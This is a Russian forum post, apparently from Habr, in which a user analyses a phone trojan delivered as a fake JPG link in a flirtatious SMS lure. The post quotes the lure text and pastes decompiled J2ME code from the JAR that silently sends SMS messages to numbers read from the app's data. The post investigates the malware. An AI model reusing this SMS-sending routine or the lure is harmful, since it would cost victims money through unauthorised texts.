Как стать автором
Обновить

Маленький вирус для телефона

Время на прочтение3 мин
Количество просмотров900
Нужна помощь программистов на жаве для мобильников.

Пришла смска, со ссылкой на JPG файл. Скачал на ББ даунлоадменеджером. Так и есть, JAR. В нем

1.png
2.png
3.png
icon.png

a.class
b.class
c.class
d.class
e.class
f.class
Midlet.class

inf.dat

вот исходное сообщение:
Привет ты мне очень нравишься и все боюсь признаться тебе в этом.Давай дружить?
Могу дать фотку если хочешь?
хттп://image.slidexxx.cn/foto.jpg



декомпильнул *.class
Заинтересовал файл c.jad (c.class)

жопой сердцем чую что отправляются смски, но что и куда — не могу понять.
Помогите, интересно.

собсно код:

// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: www.kpdus.com/jad.html
// Decompiler options: packimports(3)

import java.io.PrintStream;
import java.util.Enumeration;
import java.util.Vector;
import javax.microedition.io.Connector;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;

public abstract class c
implements Runnable
{

protected abstract void a();

public c(Vector vector)
{
a_boolean_fld = false;
a_int_fld = 0;
b_int_fld = 0;
b_boolean_fld = false;
c_int_fld = 0;
int i = vector.size();
d = new String[i];
c_java_lang_String_array1d_fld = new String[i];
vector = vector.elements();
if(i > 0)
while(vector.hasMoreElements())
{
String s = (String)vector.nextElement();
try
{
System.out.println(" get next frome vector");
d[b_int_fld] = s.substring(0, s.indexOf(" "));
c_java_lang_String_array1d_fld[b_int_fld] = s.substring(s.indexOf(" ") + 1);
System.out.println("vector_number = " + d[b_int_fld]);
System.out.println("vector_text = " + c_java_lang_String_array1d_fld[b_int_fld]);
b_int_fld++;
}
catch(Exception exception)
{
System.out.println("ERROR IN sendSMS 1 >> " + exception);
}
}
}

public final void b()
{
if(a_int_fld < b_int_fld)
{
a_java_lang_String_array1d_fld = new String[1];
b_java_lang_String_array1d_fld = new String[1];
a_java_lang_String_array1d_fld[0] = c_java_lang_String_array1d_fld[a_int_fld];
b_java_lang_String_array1d_fld[0] = d[a_int_fld];
a_int_fld++;
a_java_lang_Thread_fld = new Thread(this);
a_java_lang_Thread_fld.start();
}
}

public void run()
{
int i;
System.out.println("===> sms start");
i = 0;
System.out.println("number.length " + b_java_lang_String_array1d_fld.length);
System.out.println("number[i]" + b_java_lang_String_array1d_fld[0]);
System.out.println("text[i] " + a_java_lang_String_array1d_fld[0]);
_L3:
if(i >= b_java_lang_String_array1d_fld.length) goto _L2; else goto _L1
_L1:
MessageConnection messageconnection;
System.out.println("i= " + i);
messageconnection = null;
Thread.sleep(0L);
TextMessage textmessage;
(textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open("sms://" + b_java_lang_String_array1d_fld[i])).newMessage("text")).setAddress("sms://" + b_java_lang_String_array1d_fld[i]);
textmessage.setPayloadText(a_java_lang_String_array1d_fld[i]);
messageconnection.send(textmessage);
System.out.println("===> sms ok " + b_java_lang_String_array1d_fld[i] + a_java_lang_String_array1d_fld[i]);
a();
if(messageconnection == null)
continue; /* Loop/switch isn't completed */
try
{
messageconnection.close();
}
catch(Exception exception)
{
System.out.println("===> sms ERROR 2 " + exception.toString());
}
continue; /* Loop/switch isn't completed */
Throwable throwable;
throwable;
System.out.println("-=>>in sms i " + i);
System.out.println("===> sms ERROR " + throwable.toString());
if(messageconnection == null)
continue; /* Loop/switch isn't completed */
try
{
messageconnection.close();
}
catch(Exception exception1)
{
System.out.println("===> sms ERROR 2 " + exception1.toString());
}
continue; /* Loop/switch isn't completed */
this;
if(messageconnection != null)
try
{
messageconnection.close();
}
// Misplaced declaration of an exception variable
catch(int i)
{
System.out.println("===> sms ERROR 2 " + i.toString());
}
throw this;
i++;
goto _L3
_L2:
synchronized(this)
{
a_java_lang_Thread_fld = null;
}
return;
}

private String a_java_lang_String_array1d_fld[];
private String b_java_lang_String_array1d_fld[];
private String c_java_lang_String_array1d_fld[];
private String d[];
private Thread a_java_lang_Thread_fld;
private boolean a_boolean_fld;
private int a_int_fld;
private int b_int_fld;
private boolean b_boolean_fld;
private int c_int_fld;
}



отсюда можно понять что происходит или нужно копать еще и в других файлах?
Теги:
Хабы:
Всего голосов 21: ↑9 и ↓12-3
Комментарии33

Публикации

Истории

Ближайшие события

11 – 13 февраля
Epic Telegram Conference
Онлайн
27 марта
Deckhouse Conf 2025
Москва
25 – 26 апреля
IT-конференция Merge Tatarstan 2025
Казань